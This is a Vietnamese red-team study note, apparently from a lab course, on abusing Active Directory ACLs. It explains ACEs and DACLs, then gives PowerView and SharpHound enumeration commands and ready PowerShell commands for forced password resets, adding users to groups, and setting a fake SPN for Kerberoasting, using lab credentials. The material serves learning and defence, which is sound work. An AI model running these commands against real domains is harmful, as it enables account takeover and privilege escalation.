> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/active-directory/acl-abuse.md).

# ACL Abuse

## Khái niệm

### ACL

Trong Active Directory, mọi thứ đều là **object**:

* user
* group
* computer
* OU
* domain object
* service account

Mỗi object có một bộ quyền gọi là **ACL — Access Control List**.

Ví dụ object user `forend` có ACL. Trong ACL đó có thể có dòng kiểu:

* `Angela Dunn` được đọc thuộc tính user này
* `Help Desk` được reset password user này
* `Domain Admins` có full control
* `Authenticated Users` được đọc một số thông tin

Những dòng quyền nhỏ đó gọi là **ACE — Access Control Entry**.

Sự khác biệt :

* **ACL** là cả danh sách quyền.
* **ACE** là từng dòng quyền trong danh sách đó.

```bash
ACL của user forend:
  ACE 1: Domain Admins - Full Control
  ACE 2: Help Desk - Reset Password
  ACE 3: Angela Dunn - Read Properties
  ACE 4: Authenticated Users - Read
```

Có 2 loại ACL quan trọng :

* **DACL**: tập hợp những ACE có công dụng chỉ định object nào được phép hoặc không được phép truy cập vào tài nguyên
* **SACL**: cho phép admin log lại hành vi access

DACL :

<figure><img src="/files/GXY16LrPDXS6K7d2RXoB" alt=""><figcaption></figcaption></figure>

SACL :

<figure><img src="/files/DUE7uCj2RXMk8CtuuC6B" alt=""><figcaption></figcaption></figure>

### ACE

Có 3 loại ACE như sau

| **ACE**              | **Description**                |
| -------------------- | ------------------------------ |
| `Access denied ACE`  | Dùng với DACL để denied access |
| `Access allowed ACE` | Dùng với DACL để allow access  |
| `System audit ACE`   | Dùng với SACL để audit logs    |

Mỗi ACE được cấu thành từ 4 thành phần:

* SID của user/group access object
* Flag biểu thị type ACE
* Set các flag biểu thị việc kế thừa ACE cho các Object con
* Cuối cùng là [access mark.](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b?redirectedfrom=MSDN) Giá trị 32bit biểu thị quyền được granted cho object

ví dụ :

<figure><img src="/files/o7r07vKU7frXugLfD6Fi" alt=""><figcaption></figcaption></figure>

1. Là security principal là Angela Dunn (<adunn@inlanefreight.local>)
2. ACE type là `Allow`
3. Option `This object and all descendant objects` nghĩa là tất cả object con của `forend` đều được granted quyền giống object này
4. Quyền được granted vào object

## **ACL Enumeration**

ACL enum là kĩ thuật để enum , xem có object nào trong domain mà SID của user đó đang có quyền không?

* Khi phát hiện **`wley`** có quyền **User-Force-Change-Password** trên user **damundsen, `wley`** không cần biết password hiện tại của **damundsen,** nhưng vẫn có thể reset password của **damundsen.** Vậy từ chỗ chỉ có **`wley`**, attacker có thể chiếm luôn **damundsen**.
* Sau khi chiếm được **damundsen** enum tiếp thì **damundsen** có **GenericWrite** trên group **Help Desk Level 1**.
* **Help Desk Level 1** lại là **member** của group **Information Technology**. Đây gọi là **nested group membership**. Nghĩa là nếu user nằm trong **Help Desk Level 1**, thì gián tiếp cũng hưởng quyền của **Information Technology.**
* Sau đó enum tiếp group **Information Technology** có quyền gì. Kết quả: **Information Technology** có **GenericAll** trên user **adunn**.
* Nếu có **GenericAll** trên user **adunn**, ta có thể reset password, chỉnh thuộc tính, thêm SPN để targeted Kerberoasting, hoặc abuse theo nhiều cách khác.

### **PowerView**

```bash
Import-Module .\\PowerView.ps1
$sid = Convert-NameToSid <USER>
$sid = Convert-NameToSid "<GROUP>"
# Return guid of ACE
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
# Search ACE by using GUID
$guid= "00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl
# With ResolveGUIDs will return ACE as human readable
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} 
```

Trick để search nhanh

```bash
# Creating a List of Domain Users
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
# Use for loop to search
foreach($line in [System.IO.File]::ReadLines("C:\\Users\\htb-student\\Desktop\\ad_users.txt")) {get-acl  "AD:\\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\\\wley'}}
```

### **Sharhound**

```bash
.\\SharpHound.exe -c All --zipfilename <filename>
```

## **ACL Abuse**

Chúng ta có thể thao tác theo các quyền mà user có.

### **ForceChangePassword**

(Đây là khi đã log được vào user có quyền)

```bash
Import-Module .\\PowerView.ps1
Set-DomainUserPassword -Domain INLANEFREIGHT.LOCAL -Identity damundsen -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Verbose
```

Khi chưa log :

```bash
$SecPassword = ConvertTo-SecureString 'transporter@4' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\\wley', $SecPassword)
# sau khi log : 
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
```

### **GenericWrite**

Add user to group

```bash
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\\damundsen', $SecPassword)
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred -Verbose
```

Add fake SPN :

```bash
Set-DomainObject -Credential $Cred -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
```

Remove SPN :

```bash
Set-DomainObject -Credential $Cred -Identity adunn -Clear serviceprincipalname -Verbose
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/redteam/active-directory/acl-abuse.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
